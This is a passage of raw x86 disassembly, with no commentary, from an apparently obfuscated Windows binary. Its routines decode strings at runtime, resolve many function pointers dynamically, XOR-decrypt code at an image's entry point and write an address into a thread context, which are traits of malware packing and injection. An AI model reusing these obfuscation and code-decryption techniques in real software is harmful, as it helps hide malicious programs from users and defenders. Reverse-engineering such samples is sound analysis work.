= byte ptr 0Ch push ebp mov ebp, esp mov eax, 10004h call sub_44797C push ebx push esi push edi mov esi, [ebp+arg_0] lea edi, dword_4CC540 cmp [ebp+arg_4], 43h jnz short loc_4456BF lea edi, dword_44B0A0 loc_4456BF: ; CODE XREF: sub_44569A+1Dj cmp [ebp+arg_4], 50h jnz short loc_4456CB lea edi, dword_4CD930 loc_4456CB: ; CODE XREF: sub_44569A+29j mov eax, dword_5511FC add eax, dword_5511D4 sub eax, 9 push eax push 80h push 3 mov eax, dword_551124 sub eax, 9 push eax push 3 push 0C0000000h push edi call ds:dword_54FC18 mov edi, eax movsx eax, word_5510B0 add eax, 0FFFFFFFEh cmp eax, edi jz loc_4457C8 push 0 mov eax, dword_551174 movsx edx, word_5511AC add eax, edx sub eax, 7 push eax push esi push edi call ds:dword_550030 movsx eax, word_5510F0 add eax, dword_551250 sub eax, 5 push eax lea eax, [ebp+var_4] push eax push 0FFFFh lea eax, [ebp+var_10003] push eax push edi call ds:dword_448034 lea ecx, [ebp+var_FFFF] or eax, 0FFFFFFFFh loc_445759: ; CODE XREF: sub_44569A+C4j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_445759 movsx edx, word_551224 add edx, 3 mov ebx, eax add ebx, edx mov [ebp+var_4], ebx push 0 movsx eax, word_551194 sub eax, 7 push eax push esi push edi call ds:dword_550030 mov esi, dword_5511A4 mov ebx, [ebp+var_4] mov [ebp+esi*4+var_1001C+1], ebx movsx eax, word_55120C push eax lea eax, [ebp+var_4] push eax movsx eax, word_551144 add eax, dword_5510A8 sub eax, 5 push eax lea eax, [ebp+var_10003] push eax push edi call ds:dword_55001C push edi call ds:dword_4CDA48 loc_4457C8: ; CODE XREF: sub_44569A+6Cj pop edi pop esi pop ebx leave retn sub_44569A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4457CD proc near ; DATA XREF: .data:005512F8o arg_4 = dword ptr 0Ch arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_4] mov eax, [ebp+arg_10] mov word ptr [ebp+arg_10], ax movsx eax, word_5511BC mov edx, dword_551090 lea eax, [eax+edx+0F4h] cmp eax, edi jnz short loc_445800 push [ebp+arg_14] call sub_44300F pop ecx xor eax, eax jmp short loc_445826 ; --------------------------------------------------------------------------- loc_445800: ; CODE XREF: sub_4457CD+24j mov eax, dword_5511E4 add eax, 0FDh add eax, dword_551174 cmp edi, eax jnz short loc_445821 push [ebp+arg_14] call sub_43EC94 pop ecx xor eax, eax jmp short loc_445826 ; --------------------------------------------------------------------------- loc_445821: ; CODE XREF: sub_4457CD+45j mov eax, 80020003h loc_445826: ; CODE XREF: sub_4457CD+31j ; sub_4457CD+52j pop edi pop ebp retn 24h sub_4457CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44582B proc near ; CODE XREF: sub_43C752+B0p ; sub_43C752+26Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] push ebx call ds:dword_448000 mov edi, eax mov eax, dword_5510B8 sub eax, 8 push eax mov eax, dword_5510C4 sub eax, 9 push eax mov eax, dword_551248 add eax, 1FFBh push eax push esi push edi push ebx mov eax, dword_551174 movsx edx, word_5510A0 add eax, edx sub eax, 8 push eax push 0 call ds:dword_448010 mov eax, dword_551264 movsx edx, word_551120 add eax, edx sub eax, 6 mov [esi+edi], al mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_44582B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445895 proc near ; CODE XREF: sub_43E04C+1D9p ; sub_43E04C+1FCp ... var_4F = byte ptr -4Fh var_1D = byte ptr -1Dh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 50h push ebx push esi push edi mov ebx, [ebp+arg_0] call ds:dword_54EB70 mov [ebp+var_4], eax mov esi, dword_5511C0 jmp short loc_44591A ; --------------------------------------------------------------------------- loc_4458B2: ; CODE XREF: sub_445895+93j mov edx, dword_5510D4 add edx, dword_551270 sub edx, 0Ch cmp ds:dword_44A0E0[esi*4], edx jz short loc_445919 mov edx, ds:dword_4CDA50[esi*4] mov [ebp+var_14], edx mov ecx, dword_5511E0 add ecx, 0EA57h mov eax, dword_55110C movsx edx, word_5510D8 add eax, edx mov edx, eax sub edx, 0Dh imul ecx, edx mov edx, [ebp+var_14] add edx, ecx cmp edx, [ebp+var_4] jnb short loc_445919 mov edx, dword_551134 movsx ecx, word_55112C add edx, ecx sub edx, 0Dh mov ds:dword_44A0E0[esi*4], edx loc_445919: ; CODE XREF: sub_445895+33j ; sub_445895+69j inc esi loc_44591A: ; CODE XREF: sub_445895+1Bj movsx eax, word_551274 add eax, 3E7h cmp esi, eax jb short loc_4458B2 loc_44592A: ; CODE XREF: sub_445895+BCj ; sub_445895+27Dj mov eax, [ebx] mov [ebp+var_10], eax lea ebx, [ebx+eax] mov eax, ebx sub eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb loc_445B18 mov eax, dword_5510B8 add eax, dword_551204 sub eax, 7 cmp [ebp+var_10], eax ja short loc_44592A mov ecx, ebx or eax, 0FFFFFFFFh loc_445958: ; CODE XREF: sub_445895+C8j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_445958 mov [ebp+var_C], eax mov eax, ebx sub eax, [ebp+arg_0] movsx edx, word_5510B0 add edx, 3 sub eax, edx mov [ebp+var_8], eax mov edi, dword_551124 sub edi, 9 jmp short loc_4459B0 ; --------------------------------------------------------------------------- loc_445981: ; CODE XREF: sub_445895+127j mov al, ds:byte_44B1B0[edi] cmp al, [ebp+arg_10] jnz short loc_4459AF mov edx, [ebp+var_8] cmp ds:dword_449020[edi*4], edx jnz short loc_4459AF mov edx, dword_5510C4 sub edx, 9 cmp ds:dword_44A0E0[edi*4], edx jnz loc_445AFC loc_4459AF: ; CODE XREF: sub_445895+F6j ; sub_445895+102j inc edi loc_4459B0: ; CODE XREF: sub_445895+EAj mov eax, dword_5510D4 add eax, 3E1h cmp edi, eax jb short loc_445981 movsx eax, word_551240 add eax, 3BFh cmp [ebp+var_C], eax jbe loc_445AA9 mov eax, dword_551238 add eax, 4 add eax, dword_551114 push eax lea eax, [ebp+var_4F] push eax call sub_44675D add esp, 8 movsx eax, word_5510EC movsx edx, word_551168 add eax, edx sub eax, 4 mov [ebp+var_1C], eax mov eax, dword_551238 add eax, 3B7h add eax, dword_55118C mov [ebp+var_18], eax loc_445A17: ; CODE XREF: sub_445895+20Fj mov eax, [ebp+var_18] mov al, [ebx+eax] mov [ebp+var_1D], al mov eax, [ebp+var_18] mov edx, dword_5511F0 add edx, dword_551200 sub edx, 0Ch mov [ebx+eax], dl push offset dword_449FE0 push [ebp+var_C] push [ebp+var_1C] lea eax, [ebp+var_4F] push eax mov eax, [ebp+arg_C] push dword ptr [eax] push [ebp+arg_0] push ebx push [ebp+arg_8] mov eax, dword_551248 movsx edx, word_5510EC add eax, edx sub eax, 4 and eax, 0FFh push eax call sub_4423A6 add esp, 24h mov eax, [ebp+var_18] mov [ebp+var_1C], eax mov dl, [ebp+var_1D] mov [ebx+eax], dl mov eax, dword_5510B8 add eax, 3B6h movsx edx, word_551180 add eax, edx add [ebp+var_18], eax mov eax, [ebp+var_C] cmp [ebp+var_18], eax jbe short loc_445A9C mov [ebp+var_18], eax loc_445A9C: ; CODE XREF: sub_445895+202j mov eax, [ebp+var_C] cmp [ebp+var_1C], eax jnb short loc_445AF7 jmp loc_445A17 ; --------------------------------------------------------------------------- loc_445AA9: ; CODE XREF: sub_445895+138j push offset dword_551A84 call sub_43AC94 push offset dword_449FE0 push [ebp+var_C] mov edx, dword_5511C0 add edx, dword_5511A4 sub edx, 6 push edx push eax mov edx, [ebp+arg_C] push dword ptr [edx] push [ebp+arg_0] push ebx push [ebp+arg_8] movsx edx, word_5510AC add edx, dword_551250 sub edx, 9 and edx, 0FFh push edx call sub_4423A6 add esp, 28h loc_445AF7: ; CODE XREF: sub_445895+20Dj mov eax, [ebp+arg_C] inc dword ptr [eax] loc_445AFC: ; CODE XREF: sub_445895+114j inc ebx mov eax, [ebp+var_C] lea ebx, [ebx+eax] mov eax, [ebp+arg_C] movsx edx, word_551110 add edx, 13h cmp [eax], edx jbe loc_44592A loc_445B18: ; CODE XREF: sub_445895+A5j push offset dword_551A80 call sub_43AC94 push offset dword_449FE0 movsx edx, word_5511C8 mov ecx, edx sub ecx, 7 push ecx mov ecx, dword_551098 sub ecx, 2 push ecx push eax mov ecx, dword_5510F4 sub ecx, 2 push ecx mov ecx, dword_55116C movsx eax, word_551210 add ecx, eax sub ecx, 0Ch push ecx movsx ecx, word_5511AC movsx eax, word_551254 add ecx, eax sub ecx, 0Eh push ecx push [ebp+arg_8] movsx ecx, word_551214 add ecx, edx mov edx, ecx sub edx, 9 and edx, 0FFh push edx call sub_4423A6 add esp, 28h pop edi pop esi pop ebx leave retn sub_445895 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445B95 proc near ; CODE XREF: sub_445BAD+50p ; sub_445BAD+65p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_5512A0 call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_445B95 endp ; =============== S U B R O U T I N E ======================================= sub_445BAD proc near ; CODE XREF: sub_43E491+34p push edi push offset dword_551A70 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_5512A0, eax mov eax, dword_551164 add eax, dword_55109C sub eax, 7 cmp dword_5512A0, eax jnz short loc_445BF2 push offset dword_551A60 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_5512A0, eax loc_445BF2: ; CODE XREF: sub_445BAD+2Cj push offset word_551A42 call sub_43AC94 push eax call sub_445B95 mov ds:dword_48B9E8, eax push offset byte_551A2B call sub_43AC94 push eax call sub_445B95 mov ds:dword_4CEA10, eax push offset dword_551A10 call sub_43AC94 push eax call sub_445B95 mov ds:dword_448050, eax push offset byte_5519F3 call sub_43AC94 push eax call sub_445B95 mov ds:dword_44B1A8, eax push offset byte_5519DF call sub_43AC94 push eax call sub_445B95 mov ds:dword_54EA68, eax push offset byte_5519CB call sub_43AC94 push eax call sub_445B95 mov ds:dword_44B080, eax push offset byte_5519AB call sub_43AC94 push eax call sub_445B95 mov ds:dword_449008, eax push offset word_55198E call sub_43AC94 push eax call sub_445B95 mov ds:dword_48C1E4, eax push offset word_55197A call sub_43AC94 push eax call sub_445B95 mov ds:dword_44804C, eax push offset byte_551961 call sub_43AC94 push eax call sub_445B95 mov ds:dword_448020, eax push offset asc_551952 ; "\v" call sub_43AC94 push eax call sub_445B95 mov ds:dword_4CEA08, eax push offset byte_551941 call sub_43AC94 push eax call sub_445B95 mov ds:dword_44B59C, eax push offset byte_55192B call sub_43AC94 push eax call sub_445B95 mov ds:dword_48B9DC, eax push offset word_551912 call sub_43AC94 push eax call sub_445B95 mov ds:dword_4CD91C, eax push offset word_551902 call sub_43AC94 push eax call sub_445B95 add esp, 78h mov ds:dword_44B5A0, eax pop edi retn sub_445BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445D32 proc near ; DATA XREF: sub_442C83+Bo arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp pusha mov esi, [ebp+arg_8] mov eax, offset loc_43A8B0 mov [esi+0B8h], eax mov eax, [ebp+arg_4] mov [esi+0C4h], eax popa mov esp, ebp pop ebp xor eax, eax retn sub_445D32 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445D55 proc near ; CODE XREF: sub_443F7C+D7p ; sub_443F7C+110p ... var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ebx push edi movzx eax, [ebp+arg_0] mov ecx, 2Bh mov edx, 2FA0BE83h mul edx shr edx, 3 mov [ebp+var_4], edx mov edi, edx mov ebx, edi mov [ebp+arg_0], bl movzx eax, [ebp+arg_0] movsx edx, word_551110 add edx, 3 cmp eax, edx jnz short loc_445D91 mov eax, 6Fh jmp short loc_445E10 ; --------------------------------------------------------------------------- loc_445D91: ; CODE XREF: sub_445D55+33j mov eax, dword_551150 sub eax, 4 movzx edx, [ebp+arg_0] cmp eax, edx jnz short loc_445DA8 mov eax, 65h jmp short loc_445E10 ; --------------------------------------------------------------------------- loc_445DA8: ; CODE XREF: sub_445D55+4Aj movzx eax, [ebp+arg_0] mov edx, dword_5510BC movsx ecx, word_5510CC add edx, ecx sub edx, 2 cmp eax, edx jnz short loc_445DC9 mov eax, 69h jmp short loc_445E10 ; --------------------------------------------------------------------------- loc_445DC9: ; CODE XREF: sub_445D55+6Bj movzx eax, [ebp+arg_0] mov edx, dword_551118 sub edx, 8 cmp eax, edx jnz short loc_445DE1 mov eax, 79h jmp short loc_445E10 ; --------------------------------------------------------------------------- loc_445DE1: ; CODE XREF: sub_445D55+83j movzx eax, [ebp+arg_0] mov edx, dword_5511E0 sub edx, 7 cmp eax, edx jnz short loc_445DF9 mov eax, 75h jmp short loc_445E10 ; --------------------------------------------------------------------------- loc_445DF9: ; CODE XREF: sub_445D55+9Bj movzx eax, [ebp+arg_0] movsx edx, word_551214 add edx, 2 cmp eax, edx jnz short loc_445E10 mov eax, 61h loc_445E10: ; CODE XREF: sub_445D55+3Aj ; sub_445D55+51j ... pop edi pop ebx leave retn sub_445D55 endp ; =============== S U B R O U T I N E ======================================= sub_445E14 proc near ; CODE XREF: sub_43E491+43p push offset dword_5518E8 call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CEA1C, eax push offset byte_5518D3 call sub_43AC94 push eax call sub_43F93A mov ds:dword_44B088, eax push offset byte_5518C3 call sub_43AC94 push eax call sub_43F93A mov ds:dword_449FC0, eax push offset word_5518B6 call sub_43AC94 push eax call sub_43F93A mov ds:dword_55001C, eax push offset byte_5518A7 call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CD910, eax push offset word_551892 call sub_43AC94 push eax call sub_43F93A mov ds:dword_54EA4C, eax push offset byte_551877 call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CDA44, eax push offset byte_551869 call sub_43AC94 push eax call sub_43F93A mov ds:dword_54EA60, eax push offset byte_55185D call sub_43AC94 push eax call sub_43F93A mov ds:dword_448034, eax push offset byte_551847 call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CD918, eax push offset dword_551830 call sub_43AC94 push eax call sub_43F93A mov ds:dword_48B9F4, eax push offset word_55181E call sub_43AC94 push eax call sub_43F93A mov ds:dword_44B5A8, eax push offset byte_551807 call sub_43AC94 push eax call sub_43F93A mov ds:dword_50EA20, eax push offset dword_5517F4 call sub_43AC94 push eax call sub_43F93A mov ds:dword_54FC10, eax push offset dword_5517DC call sub_43AC94 push eax call sub_43F93A mov ds:dword_48B9F8, eax push offset byte_5517CB call sub_43AC94 push eax call sub_43F93A mov ds:dword_449FC8, eax push offset byte_5517BB call sub_43AC94 push eax call sub_43F93A mov ds:dword_54EB70, eax push offset byte_5517AB call sub_43AC94 push eax call sub_43F93A mov ds:dword_48C31C, eax push offset asc_55179C ; "\v" call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CEA14, eax push offset byte_55178D call sub_43AC94 push eax call sub_43F93A mov ds:dword_54FC1C, eax push offset byte_55177F call sub_43AC94 push eax call sub_43F93A mov ds:dword_48B9EC, eax push offset byte_551773 call sub_43AC94 push eax call sub_43F93A mov ds:dword_448000, eax push offset dword_551764 call sub_43AC94 push eax call sub_43F93A mov ds:dword_44800C, eax push offset byte_551757 call sub_43AC94 push eax call sub_43F93A mov ds:dword_44B5CC, eax push offset byte_55173F call sub_43AC94 push eax call sub_43F93A mov ds:dword_448014, eax push offset dword_551728 call sub_43AC94 push eax call sub_43F93A mov ds:dword_50EA34, eax push offset dword_551710 call sub_43AC94 push eax call sub_43F93A mov ds:dword_54EB78, eax push offset byte_5516F7 call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CEA04, eax push (offset aY+2) call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CC530, eax push offset word_5516D6 call sub_43AC94 push eax call sub_43F93A mov ds:dword_448044, eax push offset byte_5516C5 call sub_43AC94 push eax call sub_43F93A mov ds:dword_54EA64, eax push offset word_5516AE call sub_43AC94 push eax call sub_43F93A mov ds:dword_44B5B0, eax push offset dword_55169C call sub_43AC94 push eax call sub_43F93A mov ds:dword_550030, eax push offset dword_551688 call sub_43AC94 push eax call sub_43F93A mov ds:dword_448040, eax push offset dword_551678 call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CEA0C, eax push offset asc_55166B ; "\t" call sub_43AC94 push eax call sub_43F93A mov ds:dword_4CC644, eax push offset byte_551655 call sub_43AC94 push eax call sub_43F93A mov ds:dword_48C314, eax push offset asc_55164A ; "\a" call sub_43AC94 push eax call sub_43F93A mov ds:dword_44B094, eax push offset byte_551639 call sub_43AC94 push eax call sub_43F93A mov ds:dword_448038, eax push offset word_55162A call sub_43AC94 push eax call sub_43F93A mov ds:dword_55002C, eax push offset byte_55161B call sub_43AC94 push eax call sub_43F93A mov ds:dword_54FC18, eax push offset dword_551604 call sub_43AC94 push eax call sub_43F93A mov ds:dword_448010, eax push offset byte_5515F3 call sub_43AC94 push eax call sub_43F93A mov ds:dword_550028, eax push (offset aN+2) call sub_43AC94 push eax call sub_43F93A mov ds:dword_44B5BC, eax push offset dword_5515D4 call sub_43AC94 push eax call sub_43F93A add esp, 168h mov ds:dword_4CC328, eax retn sub_445E14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4461CC proc near ; CODE XREF: sub_43E491+3C8p var_10030 = dword ptr -10030h var_1002B = byte ptr -1002Bh var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 10030h call sub_44797C push ebx push esi push edi mov eax, dword_5511E4 sub eax, 5 cmp eax, ds:dword_449FC4 jz loc_446424 movsx eax, word_551194 sub eax, 7 push eax mov eax, dword_551204 add eax, dword_5510D0 sub eax, 7 push eax mov eax, dword_551158 dec eax push eax lea eax, [ebp+var_4] push eax call ds:dword_449FC4 mov ebx, eax mov eax, dword_5511D4 movsx edx, word_551120 add eax, edx sub eax, 0Ch cmp ebx, eax jnz loc_446424 lea eax, [ebp+var_18] push eax mov eax, dword_551160 sub eax, 5 push eax mov eax, dword_5511A4 movsx edx, word_5510A0 add eax, edx sub eax, 0Dh push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax mov eax, dword_5510C4 movsx edx, word_551140 add eax, edx sub eax, 0Eh cmp eax, ebx jnz loc_446408 loc_446279: ; CODE XREF: sub_4461CC+133j ; sub_4461CC+168j mov eax, dword_551270 movsx edx, word_5510EC add eax, edx sub eax, 5 push eax lea eax, [ebp+var_14] push eax movsx eax, word_5511A8 movsx edx, word_551260 add eax, edx sub eax, 8 push eax mov eax, [ebp+var_18] push eax mov edi, [eax] call dword ptr [edi+0Ch] mov ebx, eax movsx eax, word_551120 sub eax, 3 cmp ebx, eax jnz loc_4463E6 lea eax, [ebp+var_1C] push eax mov eax, dword_5510C0 add eax, dword_551230 sub eax, 6 push eax lea eax, [ebp+var_14] push eax movsx eax, word_551170 add eax, dword_551208 sub eax, 3 push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+3Ch] mov ebx, eax movsx eax, word_551214 sub eax, 3 cmp ebx, eax jnz loc_446279 loc_446305: ; CODE XREF: sub_4461CC+215j mov eax, dword_5510DC sub eax, 7 push eax lea eax, [ebp+var_2C] push eax mov eax, dword_551250 dec eax push eax mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr [edi+0Ch] mov ebx, eax mov eax, dword_55119C add eax, dword_551090 sub eax, 8 cmp eax, ebx jnz loc_446279 mov eax, dword_551138 sub eax, 3 push eax lea eax, [ebp+var_10030] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, dword_551200 add eax, dword_55116C sub eax, 0Ch push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+28h] mov ebx, eax movsx eax, word_5510E4 movsx edx, word_551120 add eax, edx movsx edx, word_55112C sub edx, 5 mov byte ptr [ebp+eax+var_10030+2], dl mov eax, dword_55126C sub eax, 8 cmp ebx, eax jnz short loc_4463B1 lea eax, [ebp+var_1002B] push eax mov eax, [ebp+var_10030] push dword ptr [eax+4] call sub_44582B add esp, 8 loc_4463B1: ; CODE XREF: sub_4461CC+1CBj lea eax, [ebp+var_1002B] push eax lea esi, [ebp+var_2C] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_14] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd push [ebp+var_4] call sub_43C752 add esp, 28h jmp loc_446305 ; --------------------------------------------------------------------------- loc_4463E6: ; CODE XREF: sub_4461CC+EEj mov eax, dword_5511FC cmp [ebp+var_1C], eax jz short loc_4463F9 mov eax, [ebp+var_1C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4463F9: ; CODE XREF: sub_4461CC+222j cmp [ebp+var_18], 0 jz short loc_446408 mov eax, [ebp+var_18] push eax mov esi, [eax] call dword ptr [esi+8] loc_446408: ; CODE XREF: sub_4461CC+A7j ; sub_4461CC+231j mov eax, dword_5511E0 add eax, dword_551134 sub eax, 11h cmp [ebp+var_4], eax jz short loc_446424 mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_446424: ; CODE XREF: sub_4461CC+1Ej ; sub_4461CC+64j ... pop edi pop esi pop ebx leave retn sub_4461CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446429 proc near ; CODE XREF: sub_4421CF+54p ; sub_4421CF+D5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_0] movzx ebx, byte ptr [eax] mov eax, dword_55119C add eax, 0F8h add eax, dword_551218 imul ebx, eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+1] add ebx, eax movsx eax, word_55123C add eax, 0FDh imul ebx, eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+2] add ebx, eax mov esi, dword_5511B0 sub esi, 7 jmp short loc_4464B5 ; --------------------------------------------------------------------------- loc_446475: ; CODE XREF: sub_446429+9Ej mov edi, dword_551230 sub edi, 2 sub edi, esi mov edx, [ebp+arg_4] mov [ebp+var_4], edx mov edx, ebx and edx, 8000003Fh jge short loc_446495 dec edx or edx, 0FFFFFFC0h inc edx loc_446495: ; CODE XREF: sub_446429+65j mov dl, ds:byte_550040[edx] mov ecx, [ebp+var_4] mov [ecx+edi], dl mov eax, ebx mov ecx, dword_551238 add ecx, 37h cdq idiv ecx mov ebx, eax add esi, 1 loc_4464B5: ; CODE XREF: sub_446429+4Aj movsx eax, word_551104 add eax, dword_551204 sub eax, 4 cmp esi, eax jl short loc_446475 pop edi pop esi pop ebx leave retn sub_446429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4464CE proc near ; DATA XREF: .data:005512E4o push ebp mov ebp, esp push offset dword_55003C call ds:dword_48B9F8 mov eax, ds:dword_55003C pop ebp retn 4 sub_4464CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4464E5 proc near ; CODE XREF: sub_43E491+341p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_0] mov esi, [eax+3Ch] mov edi, esi add edi, eax mov eax, [edi+28h] mov edx, ds:dword_4CE9F0 add edx, [ebp+arg_0] mov esi, eax add esi, edx movzx eax, byte ptr [esi] xor eax, 4Dh mov [ebp+var_1], al movzx eax, byte ptr [esi+1] movsx edx, word_551274 mov ecx, dword_551134 lea edx, [edx+ecx+1F7h] mov ebx, eax imul ebx, edx mov eax, [ebp+arg_4] mov [eax], ebx mov edi, dword_5510A8 sub edi, 6 jmp short loc_44654A ; --------------------------------------------------------------------------- loc_44653C: ; CODE XREF: sub_4464E5+67j movzx eax, byte ptr [esi+edi] movzx edx, [ebp+var_1] xor eax, edx mov [esi+edi], al inc edi loc_44654A: ; CODE XREF: sub_4464E5+55j cmp edi, ebx jb short loc_44653C mov eax, esi pop edi pop esi pop ebx leave retn sub_4464E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446555 proc near ; CODE XREF: sub_43E2F5+64p var_100E = byte ptr -100Eh var_1004 = byte ptr -1004h var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1000h call sub_44797C push ebx push esi push edi push offset word_5515C2 call sub_43AC94 pop ecx mov esi, dword_5510F8 add esi, dword_551244 sub esi, 0Bh push esi push eax movsx esi, word_551170 movsx ebx, word_5510F0 add esi, ebx sub esi, 4 push esi push [ebp+arg_0] call ds:dword_50EA30 mov edi, eax mov eax, dword_55126C sub eax, 8 cmp eax, edi jnz short loc_4465AF mov edi, [ebp+arg_0] loc_4465AF: ; CODE XREF: sub_446555+55j push offset dword_5515AC call sub_43AC94 pop ecx push dword_5510BC push eax mov esi, dword_5511B0 sub esi, 7 push esi push edi call ds:dword_50EA30 mov edi, eax lea eax, [ebp+var_FFF] push eax push 0FFFh push 0Dh push edi call ds:dword_448018 mov eax, dword_551178 add eax, dword_551200 cmp [ebp+eax+var_1004], 20h jnz short loc_446613 movsx eax, word_551240 cmp [ebp+eax+var_1000], 20h jz loc_4466C4 loc_446613: ; CODE XREF: sub_446555+A7j lea ecx, [ebp+var_FFF] or eax, 0FFFFFFFFh loc_44661C: ; CODE XREF: sub_446555+CCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_44661C movsx ebx, word_5511A8 add ebx, 0Dh cmp eax, ebx jb loc_4466C4 mov eax, dword_5511F8 add eax, dword_5510A8 cmp [ebp+eax+var_100E], 68h jnz short loc_446659 mov eax, dword_551158 cmp [ebp+eax+var_FFF], 74h jz short loc_4466C4 loc_446659: ; CODE XREF: sub_446555+F3j push offset byte_5515A7 call sub_43AC94 mov esi, dword_5511E4 movsx ebx, word_5510F0 add esi, ebx sub esi, 4 push esi push eax lea esi, [ebp+var_FFF] push esi call sub_442127 add esp, 10h mov ebx, dword_5510D4 add ebx, 0FFF5h movsx edx, word_55123C add ebx, edx cmp ebx, eax jnz short loc_4466C4 push offset byte_5515A1 call sub_43AC94 pop ecx push eax mov esi, dword_55122C add esi, dword_551270 sub esi, 6 push esi push 0Ch push edi call ds:dword_448018 loc_4466C4: ; CODE XREF: sub_446555+B8j ; sub_446555+DAj ... pop edi pop esi pop ebx leave retn sub_446555 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4466C9 proc near ; CODE XREF: sub_43F2CB+C8p ; sub_441A2E+46p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, dword_551124 sub esi, 9 mov edi, dword_551244 sub edi, 7 jmp short loc_44674A ; --------------------------------------------------------------------------- loc_4466E7: ; CODE XREF: sub_4466C9+8Bj mov edx, [ebp+arg_4] movzx edx, word ptr [edx+edi*2] movzx ecx, word ptr [ebx+edi*2] add edx, ecx add edx, esi mov [ebp+var_4], edx movsx eax, word_551170 mov edx, dword_551184 lea eax, [eax+edx+0FFF6h] cmp [ebp+var_4], eax jbe short loc_446730 mov esi, dword_5511E8 sub esi, 6 mov eax, dword_5511D8 add eax, 0FFF4h add eax, dword_5511E4 sub [ebp+var_4], eax jmp short loc_446742 ; --------------------------------------------------------------------------- loc_446730: ; CODE XREF: sub_4466C9+47j movsx eax, word_5510F0 mov esi, eax add esi, dword_551270 sub esi, 8 loc_446742: ; CODE XREF: sub_4466C9+65j mov edx, [ebp+var_4] mov [ebx+edi*2], dx inc edi loc_44674A: ; CODE XREF: sub_4466C9+1Cj mov eax, dword_551190 add eax, 1Ah cmp edi, eax jb short loc_4466E7 mov eax, esi pop edi pop esi pop ebx leave retn sub_4466C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44675D proc near ; CODE XREF: sub_441AE5+17Ap ; sub_445895+151p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, dword_551178 sub esi, 3 jmp short loc_4467A3 ; --------------------------------------------------------------------------- loc_446771: ; CODE XREF: sub_44675D+49j call ds:dword_550150 mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, dword_551184 add edi, 50h add edi, dword_5511F0 mov edx, eax add edx, edi mov [ebx+esi], dl inc esi loc_4467A3: ; CODE XREF: sub_44675D+12j cmp esi, [ebp+arg_4] jl short loc_446771 mov eax, [ebp+arg_4] mov edx, dword_5511B4 add edx, dword_5511D0 sub edx, 4 mov [ebx+eax], dl mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_44675D endp ; =============== S U B R O U T I N E 